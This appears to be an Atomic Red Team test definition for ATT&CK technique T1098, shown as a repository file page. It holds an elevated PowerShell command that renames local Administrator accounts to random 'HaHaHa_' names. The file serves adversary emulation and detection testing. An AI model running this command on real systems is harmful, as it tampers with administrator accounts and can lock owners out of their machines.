Carrie Roberts
1bfefdacfc
* provide elevation_required attribute * provide elevation_required attribute * provide elevation_required attribute
31 lines
986 B
YAML
31 lines
986 B
YAML
---
|
|
attack_technique: T1098
|
|
display_name: Account Manipulation
|
|
|
|
atomic_tests:
|
|
- name: Admin Account Manipulate
|
|
description: |
|
|
Manipulate Admin Account Name
|
|
supported_platforms:
|
|
- windows
|
|
executor:
|
|
name: powershell
|
|
elevation_required: true
|
|
command: |
|
|
$x = Get-Random -Minimum 2 -Maximum 9999
|
|
$y = Get-Random -Minimum 2 -Maximum 9999
|
|
$z = Get-Random -Minimum 2 -Maximum 9999
|
|
$w = Get-Random -Minimum 2 -Maximum 9999
|
|
Write-Host HaHaHa_$x$y$z$w
|
|
|
|
$hostname = (Get-CIMInstance CIM_ComputerSystem).Name
|
|
|
|
$fmm = Get-CimInstance -ClassName win32_group -Filter "name = 'Administrators'" | Get-CimAssociatedInstance -Association win32_groupuser | Select Name
|
|
|
|
foreach($member in $fmm) {
|
|
if($member -like "*Administrator*") {
|
|
Rename-LocalUser -Name $member.Name -NewName "HaHaHa_$x$y$z$w"
|
|
Write-Host "Successfully Renamed Administrator Account on" $hostname
|
|
}
|
|
}
|